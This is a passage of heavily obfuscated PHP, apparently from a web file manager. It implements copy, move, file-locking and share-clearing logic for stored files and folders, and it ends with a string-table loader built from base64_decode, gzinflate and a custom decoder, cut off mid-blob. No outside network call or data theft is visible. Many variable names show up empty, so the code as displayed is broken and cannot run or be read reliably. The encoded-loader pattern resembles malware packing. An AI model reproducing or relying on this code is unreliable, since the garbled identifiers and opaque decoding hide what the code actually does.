$[$[1729]] = $[$[32]]; break; case $[577]: $̩ = intval($[$[380]] * 0.4); break; case $[579]: $̩ = intval($[$[380]] * 0.2); break; case $[581]: $̩ = intval($[$[380]] * 0.4); break; } $this->update($̩); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ۄ, $ڮ) { $ =& $_SERVER[ﻻ]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($ۄ[$[79]])) { $ = $ۄ[$[79]][$[77]]; $ = $ + $ۄ[$[79]][$[78]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($Ȑ) { $this->sourceRemove($Ȑ, !1); } public function curlProgress($ҏ, $Ĝ, $, $˺, $Ñ) { $ =& $_SERVER[ﻻ]; $ȃ =& $this->task; if ($Ñ > 0) { $ȃ[$[1074]] = $[1751]; $ȃ[$[1733]] = $[107]; if ($ȃ[$[1731]]) { $ȃ[$[1732]] = $Ñ; } if ($ȃ[$[1734]]) { $ȃ[$[1732]] = $Ñ + $ȃ[$[1734]]; } } else { if ($ > 0) { if ($ȃ[$[1731]] == $Ĝ) { $ȃ[$[1732]] = $; $ȃ[$[1074]] = $[1752]; $ȃ[$[1733]] = $[1204]; } } } $this->update(); } public function curlProgressStart($欁) { } public function curlProgressEnd($) { $ܔ =& $_SERVER[ﻻ]; $ =& $this->task; $ = curl_getinfo($); $θ = $[$ܔ[1753]]; if ($θ == -1) { $θ = $[$ܔ[1754]]; } if ($[$ܔ[1733]] == $ܔ[107] && $θ) { $[$ܔ[1734]] += $θ; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $˂ =& $_SERVER[ﻻ]; $ͪ =& $this->task; $ͪ[$˂[1755]] = 1; Hook::bind($˂[1723], array($this, $˂[1756])); Hook::bind($˂[1725], array($this, $˂[1757])); Hook::bind($˂[1727], array($this, $˂[1758])); } protected function endAfter() { $Պ =& $_SERVER[ﻻ]; Hook::unbind($Պ[1723], array($this, $Պ[1756])); Hook::unbind($Պ[1725], array($this, $Պ[1757])); Hook::unbind($Պ[1727], array($this, $Պ[1758])); } public function progressStart($Ą) { $ =& $_SERVER[ﻻ]; $LJ = curl_getinfo($Ą); self::log($[1759] . $LJ[$[307]]); self::valueSet($this->task[$[399]], $this->task); } public function progressEnd($ܵ) { $ =& $_SERVER[ﻻ]; self::log($[1760] . $this->task[$[399]]); $this->end(); } public function progress($ŗ, $Ɵ, $, $Ŧ, $) { $ =& $_SERVER[ﻻ]; $ۂ =& $this->task; if ($ > 0) { $ۂ[$[799]] = $ۂ[$[799]] == 0 ? $Ŧ : $ۂ[$[799]]; $ۂ[$[1679]] = $; } else { if ($ > 0) { $ۂ[$[799]] = $ۂ[$[799]] == 0 ? $Ɵ : $ۂ[$[799]]; $ۂ[$[1679]] = $; } } $this->update(); self::log("\x70\162\157\147\x72\145\x73\x73\110\164\164\x70\72\x64\x6f\167\156\72{$}\57{$Ɵ}\x3b\40\x75\160\x6c\x6f\x61\x64\x3a{$}\x2f{$Ŧ}\73"); } } goto a업; a: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($棔ţ) { $݁ഐ =& $_SERVER[ﻻ]; if (!$this->allowLock()) { return; } $this->_lockCheck($݁ഐ[555], $棔ţ); $۱ = 1; $this->_lockEvent($棔ţ, array($݁ഐ[556], $݁ഐ[557]), $۱); $this->_lockParent($棔ţ, array($݁ഐ[557]), $۱); $this->_lockEvent($棔ţ, array($݁ഐ[558], $݁ഐ[559]), $۱); $this->_lockCheckEnd($݁ഐ[555], $棔ţ); } public function lockCopyEnd($) { $ =& $_SERVER[ﻻ]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($[556], $[557]), $); $this->_lockParent($, array($[557]), $); $this->_lockEvent($, array($[558], $[559]), $); } public function lockWriteStart($, $Ք = '') { $ =& $_SERVER[ﻻ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[556], $); $ = 1; $this->_lockKey($[560] . $ . $[10] . $Ք, $); $this->_lockEvent($, array($[555], $[557]), $); $this->_lockParent($, array($[555], $[557]), $); $this->_lockCheckEnd($[556], $); } public function lockWriteEnd($, $ = '') { $셴 =& $_SERVER[ﻻ]; if (!$this->allowLock()) { return; } $ᬓ = 0; $this->_lockKey($셴[560] . $ . $셴[10] . $, $ᬓ); $this->_lockEvent($, array($셴[555], $셴[557]), $ᬓ); $this->_lockParent($, array($셴[555], $셴[557]), $ᬓ); } public function lockMoveStart($٤Ϩ) { $ɥ =& $_SERVER[ﻻ]; if (!$this->allowLock()) { return; } $this->_lockCheck($ɥ[557], $٤Ϩ); $܄ = 1; $this->_lockKey($ɥ[561] . $٤Ϩ, $܄); $this->_lockEvent($٤Ϩ, array($ɥ[555], $ɥ[556]), $܄); $this->_lockParent($٤Ϩ, array($ɥ[555], $ɥ[557]), $܄); $this->_lockEvent($٤Ϩ, array($ɥ[562], $ɥ[558], $ɥ[559]), $܄); $this->_lockCheckEnd($ɥ[557], $٤Ϩ); } public function lockMoveEnd($ҹֈ) { $쵐 =& $_SERVER[ﻻ]; if (!$this->allowLock()) { return; } $р = 0; $this->_lockKey($쵐[561] . $ҹֈ, $р); $this->_lockEvent($ҹֈ, array($쵐[555], $쵐[556]), $р); $this->_lockParent($ҹֈ, array($쵐[555], $쵐[557]), $р); $this->_lockEvent($ҹֈ, array($쵐[562], $쵐[558], $쵐[559]), $р); } private function _lockCheck($ͲƝ, $ɾ) { $د =& $_SERVER[ﻻ]; $ = $this->sourceInfo($ɾ); $šĺ = $ͲƝ . $د[10] . $ɾ; $this->_lockTimeStart[$šĺ] = timeFloat(); if (!is_array($)) { return; } $ = LNG($د[563]); CacheLock::setErrorMsg($د[162] . htmlspecialchars($[$د[32]]) . $د[164] . $); $this->_lockKey($šĺ, 1); $this->_lockKey($šĺ, 0); $ = array_reverse($this->parentLevelArray($[$د[520]])); foreach ($ as $ց) { $šĺ = $ͲƝ . $د[564] . $ց; if (CacheLock::lockGet($د[565] . $šĺ)) { $ = $this->sourceInfo($ց); CacheLock::setErrorMsg($د[162] . htmlspecialchars($[$د[32]]) . $د[164] . $); $this->_lockKey($šĺ, 1); $this->_lockKey($šĺ, 0); } } } private function _lockCheckEnd($, $) { $ =& $_SERVER[ﻻ]; $ = $ . $[10] . $; CacheLock::setErrorMsg($[378]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[469] . $]); } $ = $this->sourceInfo($); if (!$) { show_json(LNG($[105]), !1); } } private function _lockParent($蚅, $ݷ, $) { if (!$this->autoLockSet) { return; } $ݨ = $this->sourceInfo($蚅); if (!is_array($ݨ)) { return; } $ = array_reverse($this->parentLevelArray($ݨ[$_SERVER[ﻻ][520]])); foreach ($ as $ȑ) { $this->_lockEvent($ȑ, $ݷ, $); } } private function _lockEvent($, $, $Ŷ) { $ =& $_SERVER[ﻻ]; if (!$this->autoLockSet) { return; } foreach ($ as $ա) { $ = $ա . $[10] . $; if ($Ŷ && CacheLock::lockGet($[565] . $)) { continue; } $this->_lockKey($, $Ŷ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[ﻻ][565] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($聽, $隥) { $ЩȄ =& $_SERVER[ﻻ]; $ۜ = $this->sourceInfo($聽); $Ӝ = $this->sourceInfo($隥); $ = $ۜ[$ЩȄ[520]] . $ۜ[$ЩȄ[411]] . $ЩȄ[50]; $ڝ = $Ӝ[$ЩȄ[520]] . $Ӝ[$ЩȄ[411]] . $ЩȄ[50]; $ = strpos($ڝ, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $۹, $ = REPEAT_REPLACE, $ = '') { $ݭ =& $_SERVER[ﻻ]; $㇃ = $this->sourceInfo($); $ߌƬ = $this->sourceInfo($۹); if (!$㇃ || !$ߌƬ || $ߌƬ[$ݭ[419]] != $ݭ[88]) { return !1; } if ($this->isParentOf($, $۹)) { return !1; } $ = $ ? $ : $㇃[$ݭ[32]]; $this->lockCopyStart($); $this->lockWriteStart($۹, $); $ = array($ݭ[566] => array(), $ݭ[567] => array(), $ݭ[568] => array()); $this->targetIsDelete = intval($㇃[$ݭ[440]]); $ʐ = $this->fileNameExistCache($۹, $㇃[$ݭ[32]]); $ = $this->_copy($, $۹, $, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($۹, $); if ($㇃[$ݭ[419]] == $ݭ[88] && $ʐ == $) { $this->folderSizeResetChildren($ʐ); } Model($ݭ[569])->addAll($[$ݭ[567]], array(), !0); if ($ʐ != $ || $㇃[$ݭ[419]] == $ݭ[88]) { Model($ݭ[570])->eventCopy($); } $this->saveAll($[$ݭ[568]]); Model($ݭ[200])->linkAdd($[$ݭ[566]]); $this->folderSizeReset($۹); $this->updateModifyTime($۹); return $; } private function _copy($, $, $մ, &$ɘ, $𒀊, $΄ = '') { $ =& $_SERVER[ﻻ]; $؈ = $this->sourceInfoCache($); $ = $؈[$[419]] == $[88]; $Я٣ = $΄ ? $΄ : $؈[$[32]]; $а = $this->fileNameExistCache($, $Я٣); if ($𒀊) { $this->_childrenAllMake($); if ($ && $а) { $this->_childrenAllMake($а); } } if (!$а) { return $this->_copyCreate($, $, $Я٣, $ɘ); } $ҽԼ = $а; if ($) { if ($մ == REPEAT_RENAME_FOLDER) { $Я٣ = $this->fileNameAutoCache($, $Я٣, $մ, $); $ҽԼ = $this->_copyCreate($, $, $Я٣, $ɘ); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$[411]], $а, $մ, $ɘ, !1); } } } else { if ($մ == REPEAT_RENAME || $մ == REPEAT_RENAME_FOLDER) { $Я٣ = $this->fileNameAutoCache($, $Я٣, $մ, $); $ҽԼ = $this->_copyCreate($, $, $Я٣, $ɘ); } else { if ($մ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($а); $⏿ = $this->fileHistory($, $؈[$[477]], $؈[$[76]]); if ($⏿) { $ɘ[$[566]][] = $؈[$[477]]; } } else { if ($մ == REPEAT_SKIP) { } } } Hook::trigger($[571], array($[572], $؈, 0)); } return $ҽԼ; } private function _copyCreate($, $㹢, $, &$ް̕) { $ҿǴ =& $_SERVER[ﻻ]; $Ɲ = $this->sourceInfoCache($); $͇ȸ = $this->sourceInfoCache($㹢); $ = $this->_makeItemData($Ɲ, $͇ȸ, $); Hook::trigger($ҿǴ[573], $); Hook::trigger($ҿǴ[574], array($ҿǴ[575], $, 0)); $ = $this->add($); $ = array($ҿǴ[411] => $, $ҿǴ[32] => $); $this->_copyApplyMeta($, $ް̕); if ($Ɲ[$ҿǴ[419]] != $ҿǴ[88]) { $ް̕[$ҿǴ[566]][] = $Ɲ[$ҿǴ[477]]; return $; } $Ѣ = array(); $ܠ = array(); $this->_childrenListAll($, $Ѣ); $ҫ = count($Ѣ); if ($ҫ == 0) { return $; } $ژ = $this->sourceInfo($); foreach ($Ѣ as $) { $շ = $this->_makeItemData($, $ژ, $[$ҿǴ[32]]); $շ[$ҿǴ[520]] = $[$ҿǴ[520]]; $ܠ[] = $շ; } $this->chunkEventSet($ҿǴ[576], array($ҿǴ[577], $, $ҫ)); $this->addAll($ܠ, array(), !1); $ͣ = $this->where(array($ҿǴ[441] => $))->select(); $ġ± = $this->_childrenMakeRelation($Ѣ, $ͣ); $ġ±[$] = $; $ = array(); $珜 = array(); foreach ($ͣ as $) { $ = $[$ҿǴ[411]]; $ = $this->_childrenMatch($ġ±, $, $ژ); $[] = array($ҿǴ[411], $, $ҿǴ[441], $[$ҿǴ[441]]); $珜[] = array($ҿǴ[411], $, $ҿǴ[520], $[$ҿǴ[520]]); $this->_copyApplyMeta($, $ް̕); if ($[$ҿǴ[419]] != $ҿǴ[88]) { $ް̕[$ҿǴ[566]][] = $[$ҿǴ[477]]; } } $this->chunkEventSet($ҿǴ[578], array($ҿǴ[579], $, $ҫ)); $this->saveAll($); $this->chunkEventSet($ҿǴ[580], array($ҿǴ[581], $, $ҫ)); $this->saveAll($珜); return $; } private function _childrenMakeRelation($˿, $) { $ =& $_SERVER[ﻻ]; $ܐÉ = array(); $ě = array(); foreach ($˿ as $݉) { $׀ = $݉[$[32]] . $[8] . $݉[$[520]]; $ܐÉ[$׀] = $݉[$[411]]; } foreach ($ as $݉) { $׀ = $݉[$[32]] . $[8] . $݉[$[520]]; $ = $ܐÉ[$׀]; $ě[$] = $݉[$[411]]; } return $ě; } private function _childrenMatch($ѕ, $, $) { $ڝ =& $_SERVER[ﻻ]; $ٛ = $[$ڝ[520]]; $Ҡ = $this->parentLevelArray($[$ڝ[520]]); foreach ($Ҡ as $) { if (isset($ѕ[$])) { $ٛ .= $ѕ[$] . $ڝ[582]; } } $ٛ = rtrim($ٛ, $ڝ[50]) . $ڝ[50]; $Ҍ = $this->parentLevelArray($ٛ); $Ͼ = $Ҍ[count($Ҍ) - 1]; return array($ڝ[441] => $Ͼ, $ڝ[520] => $ٛ); } private function _makeItemData($Ќ, $, $) { $ǂ̫ =& $_SERVER[ﻻ]; $ = array($ǂ̫[583] => $Ќ[$ǂ̫[419]], $ǂ̫[429] => $, $ǂ̫[584] => $Ќ[$ǂ̫[421]] ? $Ќ[$ǂ̫[421]] : $ǂ̫[12], $ǂ̫[478] => $Ќ[$ǂ̫[477]] ? $Ќ[$ǂ̫[477]] : 0, $ǂ̫[554] => $Ќ[$ǂ̫[76]] ? $Ќ[$ǂ̫[76]] : 0, $ǂ̫[585] => intval($[$ǂ̫[420]]), $ǂ̫[586] => intval($[$ǂ̫[505]]), $ǂ̫[587] => intval(USER_ID), $ǂ̫[588] => intval(USER_ID), $ǂ̫[410] => intval($[$ǂ̫[411]]), $ǂ̫[589] => $[$ǂ̫[520]] . $[$ǂ̫[411]] . $ǂ̫[50], $ǂ̫[433] => $Ќ[$ǂ̫[85]] ? $Ќ[$ǂ̫[85]] : time(), $ǂ̫[439] => 0, $ǂ̫[590] => $ǂ̫[12]); return $; } private function _copyApplyMeta($׆, &$ؤ) { $ˍ =& $_SERVER[ﻻ]; $ = $׆[$ˍ[411]]; $ = $׆[$ˍ[32]]; if (!isset($׆[$ˍ[591]]) || !$׆[$ˍ[591]] || $׆[$ˍ[591]] == $ˍ[198]) { $ؤ[$ˍ[568]][] = array($ˍ[411], $, $ˍ[591], short_id($)); } if (Input::check($, $ˍ[592])) { $ؤ[$ˍ[567]][] = array($ˍ[411] => $, $ˍ[94] => $ˍ[474], $ˍ[374] => str_replace($ˍ[53], $ˍ[12], Pinyin::get($))); $ؤ[$ˍ[567]][] = array($ˍ[411] => $, $ˍ[94] => $ˍ[473], $ˍ[374] => Pinyin::get($, $ˍ[593])); } $ؤ[$ˍ[567]][] = array($ˍ[411] => $, $ˍ[94] => $ˍ[453], $ˍ[374] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($Ϥ) { $ =& $_SERVER[ﻻ]; $ = $this->sourceInfo($Ϥ); $ = $[594]; $ = array($[520] => array($[549], $[$[520]] . $Ϥ . $[550]), $[440] => $this->targetIsDelete); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[411]); foreach ($ as $ß) { $ = $ß[$[441]]; $Ϥ = $ß[$[411]]; if (!isset($this->_childrenListCache[$Ϥ]) && $ß[$[419]] == $[88]) { $this->_childrenListCache[$Ϥ] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$Ϥ] = $ß; $this->_childrenItemCache[$Ϥ] = $ß; } } private function _childrenListAll($݄, &$湝) { $ =& $_SERVER[ﻻ]; if (!isset($this->_childrenListCache[$݄])) { return; } $ʽ = $this->_childrenListCache[$݄]; foreach ($ʽ as $㇜ => $) { $湝[$㇜] = $; if ($[$[419]] == $[88]) { $this->_childrenListAll($㇜, $湝); } } } private function sourceInfoCache($Ӕؗ) { if (isset($this->_childrenItemCache[$Ӕؗ])) { return $this->_childrenItemCache[$Ӕؗ]; } return $this->sourceInfo($Ӕؗ); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($ʫѧ) { $ =& $_SERVER[ﻻ]; $ = array($[441] => $ʫѧ, $[440] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $[411]); $this->_childrenListCache[$ʫѧ] = $; foreach ($ as $ʫѧ => $Β) { $this->_childrenItemCache[$ʫѧ] = $Β; } return $; } private function fileNameExistCache($, $) { $ܳ =& $_SERVER[ﻻ]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $) { if ($ == strtolower($[$ܳ[32]])) { return $[$ܳ[411]]; } } return !1; } private function fileNameAutoCache($ƴȸ, $ꩰ, $ڧ, $) { $ƻ =& $_SERVER[ﻻ]; $ = $this->_childrenList($ƴȸ); $ = array_to_keyvalue($, $ƻ[12], $ƻ[32]); return $this->fileNameAutoGet($, $ꩰ, $ڧ, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $Ѣ, $ʤ = REPEAT_REPLACE, $ͮ = '') { $ޤ =& $_SERVER[ﻻ]; $ = $this->sourceInfo($); $ = $this->sourceInfo($Ѣ); if ($[$ޤ[441]] == $[$ޤ[411]]) { if ($[$ޤ[440]] == $ޤ[88]) { Model($ޤ[438])->restore(array($)); } if (!$ͮ || $ͮ == $[$ޤ[32]]) { return $; } } $阙 = $this->pathInfoMore($); if ($this->isParentOf($, $Ѣ)) { return !1; } if (!$ || !$ || $[$ޤ[419]] != $ޤ[88]) { return !1; } Hook::trigger($ޤ[595], $阙); $this->targetIsDelete = intval($[$ޤ[440]]); if ($[$ޤ[441]] == $Ѣ && $ͮ != $[$ޤ[32]]) { $ = $this->fileNameExist($Ѣ, $ͮ); if ($ && $[$ޤ[419]] == $ޤ[198]) { $Հ֍ = $this->sourceInfo($); $Ѽț = $this->fileHistory($Հ֍, $[$ޤ[477]], $[$ޤ[76]]); if (!$Ѽț) { Model($ޤ[480])->remove($[$ޤ[477]]); } $this->removeNow($, !1); $this->folderSizeReset($Ѣ); Hook::trigger($ޤ[596], $阙); return $; } } $Æ = $ͮ ? $ͮ : $[$ޤ[32]]; $this->lockMoveStart($); $this->lockWriteStart($Ѣ, $Æ); $ّ = array($ޤ[566] => array(), $ޤ[597] => !1); $this->clearShare($, $Ѣ); $ګ = $this->fileNameExistCache($Ѣ, $[$ޤ[32]]); $ = $this->_move($, $Ѣ, $ʤ, $ّ, $ͮ); $this->sourceCacheClear(); if ($[$ޤ[419]] == $ޤ[88] && $ګ) { $this->folderSizeResetChildren($); } Model($ޤ[200])->linkAdd($ّ[$ޤ[566]]); if ($ګ && $ّ[$ޤ[597]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($Ѣ, $Æ); $this->folderSizeReset($[$ޤ[441]]); $this->folderSizeReset($Ѣ); $ = array($[$ޤ[441]], $Ѣ); if ($[$ޤ[419]] == $ޤ[88]) { $[] = $; } $this->updateModifyTime($); Model($ޤ[570])->eventMove($, $[$ޤ[441]], $Ѣ); Hook::trigger($ޤ[596], $阙); return $; } private function _move($, $, $, &$Ҩ, $ = '') { $ĺ =& $_SERVER[ﻻ]; $ڴ = $this->sourceInfo($); $ = $ڴ[$ĺ[419]] == $ĺ[88]; $ = $ ? $ : $ڴ[$ĺ[32]]; $嫫 = $this->fileNameExistCache($, $); $this->lockMoveStart($); $this->lockWriteStart($, $); if (!$嫫) { return $this->_moveForce($, $, $); } $畚 = $嫫; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $畚 = $this->_moveForce($, $, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $͛ڶ = $this->_childrenListSelect($); foreach ($͛ڶ as $Ŗ) { $this->_move($Ŗ[$ĺ[411]], $嫫, $, $Ҩ); } $ = !0; } } else { if ($ == REPEAT_SKIP) { $ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $, $); $畚 = $this->_moveForce($, $, $); } else { if ($ == REPEAT_REPLACE) { $ۃ = $this->sourceInfoCache($嫫); $ = $this->fileHistory($ۃ, $ڴ[$ĺ[477]], $ڴ[$ĺ[76]]); $ = !0; if ($) { $Ҩ[$ĺ[566]][] = $ڴ[$ĺ[477]]; } } } } } if ($ && !$Ҩ[$ĺ[597]]) { $Ҩ[$ĺ[597]] = !0; } return $畚; } private function _moveForce($р, $nj, $ɽè) { $ =& $_SERVER[ﻻ]; $ = $this->sourceInfo($р); $˭ = $this->sourceInfo($nj); $ = $[$[419]] == $[88]; $ǀ = array($[410] => $˭[$[411]], $[589] => $˭[$[520]] . $˭[$[411]] . $[50], $[585] => $˭[$[420]], $[586] => $˭[$[505]], $[588] => USER_ID, $[429] => $ɽè); $폐 = $[$[420]] == SourceModel::TYPE_GROUP && $˭[$[420]] == SourceModel::TYPE_GROUP && $[$[505]] == $˭[$[505]]; if (!$폐 && $this->moveClearAuth) { Model($[502])->authClear($р); } $Џ = $[$[440]] == $[88] && $˭[$[440]] != $[88]; if ($Џ) { $ǀ[$[439]] = 0; } if ($) { $ = array($[589] => array($[549], $[$[520]] . $[$[411]] . $[550])); $ = $[$[520]] . $[$[411]] . $[50]; $Өü = $˭[$[520]] . $˭[$[411]] . $[50] . $[$[411]] . $[50]; $ = array($[589] => array($[598], "\x72\x65\x70\154\x61\x63\145\x28\160\141\162\x65\156\164\x4c\145\166\x65\154\54\47{$}\x27\x2c\x27{$Өü}\47\x29"), $[585] => $˭[$[420]], $[586] => $˭[$[505]]); if ($Џ) { $[$[439]] = 0; } $this->where($)->data($)->save(); } $this->where(array($[426] => $р))->data($ǀ)->save(); return $р; } private function clearShare($Ǐ, $瑔) { $쓾 =& $_SERVER[ﻻ]; $ = $this->sourceInfo($Ǐ); $ޝ = $this->sourceInfo($瑔); if ($[$쓾[505]] == $ޝ[$쓾[505]] && $[$쓾[420]] == $쓾[599]) { return; } $ = array($쓾[520] => array($쓾[549], $[$쓾[520]] . $Ǐ . $쓾[550])); $ = $this->field($쓾[426])->where($)->getField($쓾[411], !0); if (!$) { return; } $ = array($쓾[411] => array($쓾[7], $), $쓾[600] => 1); $҂ = Model($쓾[601])->field($쓾[602])->where($)->select(); if (!$҂) { return; } $҂ = array_to_keyvalue($҂, $쓾[12], $쓾[602]); $ = array($쓾[602] => array($쓾[7], $҂)); Model($쓾[601])->where($)->save(array($쓾[600] => 0)); Model($쓾[603])->where($)->delete(); } public function copyFolderFromIO($ø, $, $谱, $ב, $, $ = false) { $ =& $_SERVER[ﻻ]; $߲ = array($[567] => array(), $[568] => array(), $[566] => array(), $[604] => array()); $ = $ ? $ : $ø->pathThis($); $ = $this->fileNameExist($谱, $); $ = $this->mkdir($谱, $, $ב); if (!$ || $ב == REPEAT_RENAME_FOLDER) { $ב = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[605]); $this->_copyChildTo($ø, $, $, $ב, $߲, $); Hook::trigger($[606]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[569])->addAll($߲[$[567]], array(), !0); Model($[570])->eventCopy($); $this->saveAll($߲[$[568]]); Model($[480])->linkAdd($߲[$[566]]); Model($[480])->remove($߲[$[604]]); $this->folderSizeReset($谱); $this->updateModifyTime($谱); return $; } private function _copyChildTo($چ, $ӗ, $, $펓, &$, $Ի) { $ =& $_SERVER[ﻻ]; $ԯ = $this->sourceInfoCache($); $ = $چ->listPath($ӗ); $ = $ ? $ : array($[83] => array(), $[82] => array()); $ˉ = array_merge($[$[83]], $[$[82]]); $àԋ = $this->_addFiles($چ, $[$[83]], $Ի); $ = array(); foreach ($ˉ as &$Ө) { if (isset($àԋ[$Ө[$[32]]])) { $Ө = $àԋ[$Ө[$[32]]]; } $Ө[$[419]] = $Ө[$[33]] == $[75]; $Ө[$[421]] = substr(_get($Ө, $[174], $[12]), 0, 10); $Ө[$[76]] = _get($Ө, $[76], 0); $Ө[$[477]] = _get($Ө, $[477], 0); if (!isset($Ө[$[607]]) && $Ө[$[477]]) { $[$[604]][] = $Ө[$[477]]; } if ($펓) { $ = $this->fileNameExistCache($, $Ө[$[32]]); if ($) { if ($Ө[$[419]] || $펓 == REPEAT_SKIP) { continue; } if ($펓 == REPEAT_REPLACE) { $ӂ = $this->sourceInfoCache($); $ = $this->fileHistory($ӂ, $Ө[$[477]], $Ө[$[76]]); if ($) { $[$[566]][] = $Ө[$[477]]; } continue; } else { if ($펓 == REPEAT_RENAME) { $Ө[$[32]] = $this->fileNameAutoCache($, $Ө[$[32]], $펓, !1); } } } } if (!$Ө[$[419]] && $Ө[$[477]] == 0) { continue; } if (!$Ө[$[419]] && $Ө[$[477]]) { $[$[566]][] = $Ө[$[477]]; } $[] = $this->_makeItemData($Ө, $ԯ, $Ө[$[32]]); } unset($Ө); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $ȴ = $this->_childrenList($); $ȴ = array_to_keyvalue($ȴ, $[32]); foreach ($ˉ as $Ө) { $ӂ = $ȴ[$Ө[$[32]]]; $߆ = $ӂ[$[411]]; $this->_copyApplyMeta($ӂ, $); if ($Ө[$[33]] == $[75]) { $Ө[$[84]] = $چ->getPathInner($Ө[$[84]]); $this->_copyChildTo($چ, $Ө[$[84]], $߆, $펓, $, $Ի); } } } private function _addFiles($Ɂ, $Ȣ, $̹̗) { $ =& $_SERVER[ﻻ]; if (!$Ȣ || count($Ȣ) == 0) { return array(); } $շ = array(); foreach ($Ȣ as &$҂) { Hook::trigger($[608], $҂); $҂[$[84]] = $Ɂ->getPathInner($҂[$[84]]); $ӡ = $Ɂ->hashSimple($҂[$[84]]); $ع = $Ɂ->hashMd5($҂[$[84]]); if (strlen($ع) > 10 && !isset($շ[$ع])) { $շ[$ع] = array(); } $҂[$[177]] = $ӡ; $҂[$[176]] = $ع; $շ[$ع][] =& $҂; if (count($շ[$ع]) > 1) { $҂[$[607]] = !0; } Hook::trigger($[609], $҂); } unset($҂); $̸ = array($[176] => array($[7], array_keys($շ))); $ = Model($[610]); $ѻ = $->where($̸)->select(); $ѻ = $ѻ ? $ѻ : array(); foreach ($ѻ as $챒) { if (!isset($շ[$챒[$[176]]])) { continue; } $ל = $շ[$챒[$[176]]]; foreach ($ל as &$҂) { $҂[$[477]] = $챒[$[477]]; $҂[$[607]] = !0; } unset($҂); } $ = array(); foreach ($Ȣ as $➔) { Hook::trigger($[611], $➔); if (isset($➔[$[607]]) && $➔[$[607]]) { Hook::trigger($[612], $➔); continue; } $ = $Ɂ->getPathInner($➔[$[84]]); $ڬ = $->addFileMake($, $➔[$[76]], $➔[$[177]], $➔[$[176]], $➔[$[32]], $̹̗); Hook::trigger($[612], $➔); if (!is_array($ڬ)) { continue; } $[] = $ڬ; } $->addAll($); $̸ = array($[176] => array($[7], array_keys($շ))); $ѻ = $->where($̸)->select(); $ѻ = $ѻ ? $ѻ : array(); foreach ($ѻ as $챒) { if (!isset($շ[$챒[$[176]]])) { continue; } $ =& $շ[$챒[$[176]]]; foreach ($ as &$҂) { $҂[$[477]] = $챒[$[477]]; } unset($҂); } $Ϣ = array(); foreach ($Ȣ as $) { $Ϣ[$[$[32]]] = $; } return $Ϣ; } } define($_SERVER[ﻻ][613], $_SERVER[ﻻ][614]); $qvfdoxuljg = $_SERVER[ﻻ][615]; goto DȊ; DȊ: $_SERVER[] = explode($_SERVER[ﻻ][616], gzinflate(substr($_SERVER[ﻻ][617], 10, -8))); $urzpbvmfji = $_SERVER[ﻻ][618]; if (!$urzpbvmfji) { return; } goto E; c: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(base64_decode('77u7t/fh'), "\x92\x89\xf9\xef\xe2\x8a"); $_SERVER[ﻻ] = explode(base64_decode('fAF8BXwG'), gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\11\170\33\325\325\150\51\113\313\22\112\201\277\100\13\145\60\44\266\23\55\166\366\70\161\22\331\226\155\21\331\162\44\71\13\166\230".base64_decode('jKSRNbakkWdG3pKwFChLgJSy/SwthS5AgbAEGiClLG3pY6fQQoAWKGRhLTsttIV3lw==')."\163\227\31\311\360\277\357\275\357\173\174\304\232\173\356\276\235\173\316\271\347\234\373\275\123\137\273\361\345\315\353\367\130\277\367\372\175\356\371\373\353\77\177\340\126\372\215\376\356".base64_decode('if6R76M3fv0r5L9DNp5TV9c5d78Z3Qdsuv0m7UZts3ZuLPrIo5Epj994fHjXTx8Z3w==')."\265\307\127\336\156\70\352\361\46\224\230\346\155\242\77\112\321\164\24\175\314\260\35\233\2\322\146\61\153\14\320\157\243\110\177\203\364\247\67\36\265\364\202\351\350\64\30\240\77".base64_decode('Km8X+msP5w0Wr3bHkmqit6cnHE9CoiY5vmBm4KukWVoB6i/plo1aIxenlsySXnRBB